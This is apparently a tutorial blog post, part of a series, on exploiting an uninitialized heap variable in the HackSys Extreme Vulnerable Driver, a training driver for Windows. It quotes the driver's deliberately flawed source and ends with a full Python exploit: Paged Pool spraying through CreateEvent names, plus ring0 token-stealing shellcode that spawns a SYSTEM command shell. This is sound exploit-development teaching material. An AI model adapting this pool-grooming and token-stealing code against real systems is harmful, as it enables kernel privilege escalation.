Overview

In the previous part, we looked into an Uninitialized Stack Variable vulnerability. In this part, we’ll discuss about another vulnerability on similar lines, Uninitialized Heap Variable. We’d be grooming Paged Pool in this one, so as to direct our execution flow to the shellcode.

Again, huge thanks to @hacksysteam for the driver.

Analysis

Let’s analyze the UninitializedHeapVariable.c file:

NTSTATUS TriggerUninitializedHeapVariable(IN PVOID UserBuffer) { ULONG_PTR UserValue = 0; ULONG_PTR MagicValue = 0xBAD0B0B0; NTSTATUS Status = STATUS_SUCCESS; PUNINITIALIZED_HEAP_VARIABLE UninitializedHeapVariable = NULL; PAGED_CODE(); __try { // Verify if the buffer resides in user mode ProbeForRead(UserBuffer, sizeof(UNINITIALIZED_HEAP_VARIABLE), (ULONG)__alignof(UNINITIALIZED_HEAP_VARIABLE)); // Allocate Pool chunk UninitializedHeapVariable = (PUNINITIALIZED_HEAP_VARIABLE) ExAllocatePoolWithTag(PagedPool, sizeof(UNINITIALIZED_HEAP_VARIABLE), (ULONG)POOL_TAG); if (!UninitializedHeapVariable) { // Unable to allocate Pool chunk DbgPrint("[-] Unable to allocate Pool chunk

"); Status = STATUS_NO_MEMORY; return Status; } else { DbgPrint("[+] Pool Tag: %s

", STRINGIFY(POOL_TAG)); DbgPrint("[+] Pool Type: %s

", STRINGIFY(PagedPool)); DbgPrint("[+] Pool Size: 0x%X

", sizeof(UNINITIALIZED_HEAP_VARIABLE)); DbgPrint("[+] Pool Chunk: 0x%p

", UninitializedHeapVariable); } // Get the value from user mode UserValue = *(PULONG_PTR)UserBuffer; DbgPrint("[+] UserValue: 0x%p

", UserValue); DbgPrint("[+] UninitializedHeapVariable Address: 0x%p

", &UninitializedHeapVariable); // Validate the magic value if (UserValue == MagicValue) { UninitializedHeapVariable->Value = UserValue; UninitializedHeapVariable->Callback = &UninitializedHeapVariableObjectCallback; // Fill the buffer with ASCII 'A' RtlFillMemory((PVOID)UninitializedHeapVariable->Buffer, sizeof(UninitializedHeapVariable->Buffer), 0x41); // Null terminate the char buffer UninitializedHeapVariable->Buffer[(sizeof(UninitializedHeapVariable->Buffer) / sizeof(ULONG_PTR)) - 1] = '\0'; } #ifdef SECURE else { DbgPrint("[+] Freeing UninitializedHeapVariable Object

"); DbgPrint("[+] Pool Tag: %s

", STRINGIFY(POOL_TAG)); DbgPrint("[+] Pool Chunk: 0x%p

", UninitializedHeapVariable); // Free the allocated Pool chunk ExFreePoolWithTag((PVOID)UninitializedHeapVariable, (ULONG)POOL_TAG); // Secure Note: This is secure because the developer is setting 'UninitializedHeapVariable' // to NULL and checks for NULL pointer before calling the callback // Set to NULL to avoid dangling pointer UninitializedHeapVariable = NULL; } #else // Vulnerability Note: This is a vanilla Uninitialized Heap Variable vulnerability // because the developer is not setting 'Value' & 'Callback' to definite known value // before calling the 'Callback' DbgPrint("[+] Triggering Uninitialized Heap Variable Vulnerability

"); #endif // Call the callback function if (UninitializedHeapVariable) { DbgPrint("[+] UninitializedHeapVariable->Value: 0x%p

", UninitializedHeapVariable->Value); DbgPrint("[+] UninitializedHeapVariable->Callback: 0x%p

", UninitializedHeapVariable->Callback); UninitializedHeapVariable->Callback(); } } __except (EXCEPTION_EXECUTE_HANDLER) { Status = GetExceptionCode(); DbgPrint("[-] Exception Code: 0x%X

", Status); } return Status; } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 NTSTATUS TriggerUninitializedHeapVariable ( IN PVOID UserBuffer ) { ULONG_PTR UserValue = 0 ; ULONG_PTR MagicValue = 0xBAD0B0B0 ; NTSTATUS Status = STATUS_SUCCESS ; PUNINITIALIZED_HEAP_VARIABLE UninitializedHeapVariable = NULL ; PAGED_CODE ( ) ; __try { // Verify if the buffer resides in user mode ProbeForRead ( UserBuffer , sizeof ( UNINITIALIZED_HEAP_VARIABLE ) , ( ULONG ) __alignof ( UNINITIALIZED_HEAP_VARIABLE ) ) ; // Allocate Pool chunk UninitializedHeapVariable = ( PUNINITIALIZED_HEAP_VARIABLE ) ExAllocatePoolWithTag ( PagedPool , sizeof ( UNINITIALIZED_HEAP_VARIABLE ) , ( ULONG ) POOL_TAG ) ; if ( ! UninitializedHeapVariable ) { // Unable to allocate Pool chunk DbgPrint ( "[-] Unable to allocate Pool chunk

" ) ; Status = STATUS_NO_MEMORY ; return Status ; } else { DbgPrint ( "[+] Pool Tag: %s

" , STRINGIFY ( POOL_TAG ) ) ; DbgPrint ( "[+] Pool Type: %s

" , STRINGIFY ( PagedPool ) ) ; DbgPrint ( "[+] Pool Size: 0x%X

" , sizeof ( UNINITIALIZED_HEAP_VARIABLE ) ) ; DbgPrint ( "[+] Pool Chunk: 0x%p

" , UninitializedHeapVariable ) ; } // Get the value from user mode UserValue = * ( PULONG_PTR ) UserBuffer ; DbgPrint ( "[+] UserValue: 0x%p

" , UserValue ) ; DbgPrint ( "[+] UninitializedHeapVariable Address: 0x%p

" , & UninitializedHeapVariable ) ; // Validate the magic value if ( UserValue == MagicValue ) { UninitializedHeapVariable -> Value = UserValue ; UninitializedHeapVariable -> Callback = & UninitializedHeapVariableObjectCallback ; // Fill the buffer with ASCII 'A' RtlFillMemory ( ( PVOID ) UninitializedHeapVariable -> Buffer , sizeof ( UninitializedHeapVariable -> Buffer ) , 0x41 ) ; // Null terminate the char buffer UninitializedHeapVariable -> Buffer [ ( sizeof ( UninitializedHeapVariable -> Buffer ) / sizeof ( ULONG_PTR ) ) - 1 ] = '\0' ; } #ifdef SECURE else { DbgPrint ( "[+] Freeing UninitializedHeapVariable Object

" ) ; DbgPrint ( "[+] Pool Tag: %s

" , STRINGIFY ( POOL_TAG ) ) ; DbgPrint ( "[+] Pool Chunk: 0x%p

" , UninitializedHeapVariable ) ; // Free the allocated Pool chunk ExFreePoolWithTag ( ( PVOID ) UninitializedHeapVariable , ( ULONG ) POOL_TAG ) ; // Secure Note: This is secure because the developer is setting 'UninitializedHeapVariable' // to NULL and checks for NULL pointer before calling the callback // Set to NULL to avoid dangling pointer UninitializedHeapVariable = NULL ; } #else // Vulnerability Note: This is a vanilla Uninitialized Heap Variable vulnerability // because the developer is not setting 'Value' & 'Callback' to definite known value // before calling the 'Callback' DbgPrint ( "[+] Triggering Uninitialized Heap Variable Vulnerability

" ) ; #endif // Call the callback function if ( UninitializedHeapVariable ) { DbgPrint ( "[+] UninitializedHeapVariable->Value: 0x%p

" , UninitializedHeapVariable -> Value ) ; DbgPrint ( "[+] UninitializedHeapVariable->Callback: 0x%p

" , UninitializedHeapVariable -> Callback ) ; UninitializedHeapVariable -> Callback ( ) ; } } __except ( EXCEPTION_EXECUTE_HANDLER ) { Status = GetExceptionCode ( ) ; DbgPrint ( "[-] Exception Code: 0x%X

" , Status ) ; } return Status ; }

Big code, but simple enough to understand. The variable UninitializedHeapVariable is being initialized with the address of the pool chunk. And it’s all good if UserValue == MagicValue, the value and callback are properly initialized and the program is checking that before calling the callback. But what if this comparison fails? From the code, it is clear that if it’s compiled as the SECURE version, the UninitializedHeapVariable is being set to NULL, so the callback won’t be called in the if statement. Insecure version on the other hand, doesn’t have any checks like this, and makes the callback to an uninitialized variable, that leads to our vulnerability.

Also, let’s have a look at the defined _UNINITIALIZED_HEAP_VARIABLE structure in UninitializedHeapVariable.h file:

typedef struct _UNINITIALIZED_HEAP_VARIABLE { ULONG_PTR Value; FunctionPointer Callback; ULONG_PTR Buffer[58]; } UNINITIALIZED_HEAP_VARIABLE, *PUNINITIALIZED_HEAP_VARIABLE; 1 2 3 4 5 typedef struct _UNINITIALIZED_HEAP_VARIABLE { ULONG_PTR Value ; FunctionPointer Callback ; ULONG_PTR Buffer [ 58 ] ; } UNINITIALIZED_HEAP_VARIABLE , * PUNINITIALIZED_HEAP_VARIABLE ;

As we see here, it defines three members, out of which second one is the Callback, defined as a FunctionPointer. If we can somehow control the data on the Pool Chunk, we’d be able to control both the UninitializedHeapVariable and Callback.

All of this is more clear in the IDA screenshot:

Also, IOCTL for this would be 0x222033.

Exploitation

As usual, let’s start with our skeleton script, and with the correct Magic value:

import ctypes, sys, struct from ctypes import * from subprocess import * def main(): kernel32 = windll.kernel32 psapi = windll.Psapi ntdll = windll.ntdll hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None) if not hevDevice or hevDevice == -1: print "*** Couldn't get Device Driver handle" sys.exit(-1) buf = "\xb0\xb0\xd0\xba" bufLength = len(buf) kernel32.DeviceIoControl(hevDevice, 0x222033, buf, bufLength, None, 0, byref(c_ulong()), None) if __name__ == "__main__": main() 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import ctypes , sys , struct from ctypes import * from subprocess import * def main ( ) : kernel32 = windll . kernel32 psapi = windll . Psapi ntdll = windll . ntdll hevDevice = kernel32 . CreateFileA ( "\\\\.\\HackSysExtremeVulnerableDriver" , 0xC0000000 , 0 , None , 0x3 , 0 , None ) if not hevDevice or hevDevice == - 1 : print "*** Couldn't get Device Driver handle" sys . exit ( - 1 ) buf = "\xb0\xb0\xd0\xba" bufLength = len ( buf ) kernel32 . DeviceIoControl ( hevDevice , 0x222033 , buf , bufLength , None , 0 , byref ( c_ulong ( ) ) , None ) if __name__ == "__main__" : main ( )

Everything passes through with no crash whatsoever. Let’s give some other UserValue, and see what happens.

We get an exception, and the Callback address here doesn’t seem to be a valid one. Cool, now we can proceed on building our exploit for this.

The main challenge for us here is grooming the Paged Pool with our user controlled data from User Land. One of the interfaces that does it are the Named Objects, and if you remember from previous post about Pool Feng-Shui, we know that our CreateEvent object is the one we can use here to groom our Lookaside list:

HANDLE WINAPI CreateEvent( _In_opt_ LPSECURITY_ATTRIBUTES lpEventAttributes, _In_ BOOL bManualReset, _In_ BOOL bInitialState, _In_opt_ LPCTSTR lpName ); 1 2 3 4 5 6 HANDLE WINAPI CreateEvent ( _In_opt_ LPSECURITY_ATTRIBUTES lpEventAttributes , _In_ BOOL bManualReset , _In_ BOOL bInitialState , _In_opt_ LPCTSTR lpName ) ;

Most important thing to note here is that even though the event object itself is allocated to Non-Paged Pool, the last parameter, lpName of type LPCTSTR is actually allocated on the Paged Pool. And we can actually define what it contains, and it’s length.

Some other points to be noted here:

We’d be grooming the Lookaside list, which are lazy activated only two minutes after the boot.

list, which are lazy activated only two minutes after the boot. Maximum Blocksize for Lookaside list is 0x20, and it only manages upto 256 chunks, after that, any additional chunks are managed by the ListHead .

list is 0x20, and it only manages upto 256 chunks, after that, any additional chunks are managed by the . We need to allocate 256 objects of same size and then freeing them. If the list is not populated, then the allocation would come from ListHead list.

list. We need to make sure that the string for the object name is random for each call to object constructor, as if same string is passed to consecutive calls to object constructor, then only one Pool chuck will be served for all further requests.

We also need to make sure that our lpName shouldn’t contain any NULL characters, as that would change the length of the lpName, and the exploit would fail.

We’d be giving lpName a size of 0xF0, the header size would be 0x8, total 0xF8 chunks. The shellcode we’d borrow from our previous tutorial.

Combining all the things above, our final exploit would look like:

import ctypes, sys, struct from ctypes import * from subprocess import * def main(): spray_event = [] kernel32 = windll.kernel32 psapi = windll.Psapi ntdll = windll.ntdll hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None) if not hevDevice or hevDevice == -1: print "*** Couldn't get Device Driver handle" sys.exit(-1) #Defining the ring0 shellcode and using VirtualProtect() to change the memory region attributes, as VirtualAlloc() was always assigning the memory in address containing NULL bytes. #And we can't have NULL bytes in our address, as if lpName contains NULL bytes, the length would be affected, and our exploitation would fail. shellcode = ( "\x90\x90\x90\x90" # NOP Sled "\x60" # pushad "\x64\xA1\x24\x01\x00\x00" # mov eax, fs:[KTHREAD_OFFSET] "\x8B\x40\x50" # mov eax, [eax + EPROCESS_OFFSET] "\x89\xC1" # mov ecx, eax (Current _EPROCESS structure) "\x8B\x98\xF8\x00\x00\x00" # mov ebx, [eax + TOKEN_OFFSET] "\xBA\x04\x00\x00\x00" # mov edx, 4 (SYSTEM PID) "\x8B\x80\xB8\x00\x00\x00" # mov eax, [eax + FLINK_OFFSET] "\x2D\xB8\x00\x00\x00" # sub eax, FLINK_OFFSET "\x39\x90\xB4\x00\x00\x00" # cmp [eax + PID_OFFSET], edx "\x75\xED" # jnz "\x8B\x90\xF8\x00\x00\x00" # mov edx, [eax + TOKEN_OFFSET] "\x89\x91\xF8\x00\x00\x00" # mov [ecx + TOKEN_OFFSET], edx "\x61" # popad "\xC3" # ret ) shellcode_address = id(shellcode) + 20 shellcode_address_struct = struct.pack("<L", shellcode_address) print "[+] Pointer for ring0 shellcode: {0}".format(hex(shellcode_address)) success = kernel32.VirtualProtect(shellcode_address, c_int(len(shellcode)), c_int(0x40), byref(c_long())) if success == 0x0: print "\t[+] Failed to change memory protection." sys.exit(-1) #Defining our static part of lpName, size 0xF0, adjusted according to the dynamic part and the initial shellcode address. static_lpName = "\x41\x41\x41\x41" + shellcode_address_struct + "\x42" * (0xF0-4-8-4) # Assigning 256 CreateEvent objects of same size. print "

[+] Spraying Event Objects..." for i in xrange(256): dynamic_lpName = str(i).zfill(4) spray_event.append(kernel32.CreateEventW(None, True, False, c_char_p(static_lpName+dynamic_lpName))) if not spray_event[i]: print "\t[+] Failed to allocate Event object." sys.exit(-1) #Freeing the CreateEvent objects. print "

[+] Freeing Event Objects..." for i in xrange(0, len(spray_event), 1): if not kernel32.CloseHandle(spray_event[i]): print "\t[+] Failed to close Event object." sys.exit(-1) buf = '\x37\x13\xd3\xba' bufLength = len(buf) kernel32.DeviceIoControl(hevDevice, 0x222033, buf, bufLength, None, 0, byref(c_ulong()), None) print "

[+] nt authority\system shell incoming" Popen("start cmd", shell=True) if __name__ == "__main__": main() 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 import ctypes , sys , struct from ctypes import * from subprocess import * def main ( ) : spray_event = [ ] kernel32 = windll . kernel32 psapi = windll . Psapi ntdll = windll . ntdll hevDevice = kernel32 . CreateFileA ( "\\\\.\\HackSysExtremeVulnerableDriver" , 0xC0000000 , 0 , None , 0x3 , 0 , None ) if not hevDevice or hevDevice == - 1 : print "*** Couldn't get Device Driver handle" sys . exit ( - 1 ) #Defining the ring0 shellcode and using VirtualProtect() to change the memory region attributes, as VirtualAlloc() was always assigning the memory in address containing NULL bytes. #And we can't have NULL bytes in our address, as if lpName contains NULL bytes, the length would be affected, and our exploitation would fail. shellcode = ( "\x90\x90\x90\x90" # NOP Sled "\x60" # pushad "\x64\xA1\x24\x01\x00\x00" # mov eax, fs:[KTHREAD_OFFSET] "\x8B\x40\x50" # mov eax, [eax + EPROCESS_OFFSET] "\x89\xC1" # mov ecx, eax (Current _EPROCESS structure) "\x8B\x98\xF8\x00\x00\x00" # mov ebx, [eax + TOKEN_OFFSET] "\xBA\x04\x00\x00\x00" # mov edx, 4 (SYSTEM PID) "\x8B\x80\xB8\x00\x00\x00" # mov eax, [eax + FLINK_OFFSET] "\x2D\xB8\x00\x00\x00" # sub eax, FLINK_OFFSET "\x39\x90\xB4\x00\x00\x00" # cmp [eax + PID_OFFSET], edx "\x75\xED" # jnz "\x8B\x90\xF8\x00\x00\x00" # mov edx, [eax + TOKEN_OFFSET] "\x89\x91\xF8\x00\x00\x00" # mov [ecx + TOKEN_OFFSET], edx "\x61" # popad "\xC3" # ret ) shellcode_address = id ( shellcode ) + 20 shellcode_address_struct = struct . pack ( "<L" , shellcode_address ) print "[+] Pointer for ring0 shellcode: {0}" . format ( hex ( shellcode_address ) ) success = kernel32 . VirtualProtect ( shellcode_address , c_int ( len ( shellcode ) ) , c_int ( 0x40 ) , byref ( c_long ( ) ) ) if success == 0x0 : print "\t[+] Failed to change memory protection." sys . exit ( - 1 ) #Defining our static part of lpName, size 0xF0, adjusted according to the dynamic part and the initial shellcode address. static_lpName = "\x41\x41\x41\x41" + shellcode_address_struct + "\x42" * ( 0xF0 - 4 - 8 - 4 ) # Assigning 256 CreateEvent objects of same size. print "

[+] Spraying Event Objects..." for i in xrange ( 256 ) : dynamic_lpName = str ( i ) . zfill ( 4 ) spray_event . append ( kernel32 . CreateEventW ( None , True , False , c_char_p ( static_lpName + dynamic_lpName ) ) ) if not spray_event [ i ] : print "\t[+] Failed to allocate Event object." sys . exit ( - 1 ) #Freeing the CreateEvent objects. print "

[+] Freeing Event Objects..." for i in xrange ( 0 , len ( spray_event ) , 1 ) : if not kernel32 . CloseHandle ( spray_event [ i ] ) : print "\t[+] Failed to close Event object." sys . exit ( - 1 ) buf = '\x37\x13\xd3\xba' bufLength = len ( buf ) kernel32 . DeviceIoControl ( hevDevice , 0x222033 , buf , bufLength , None , 0 , byref ( c_ulong ( ) ) , None ) print "

[+] nt authority\system shell incoming" Popen ( "start cmd" , shell = True ) if __name__ == "__main__" : main ( )



And we get our nt authority\system shell: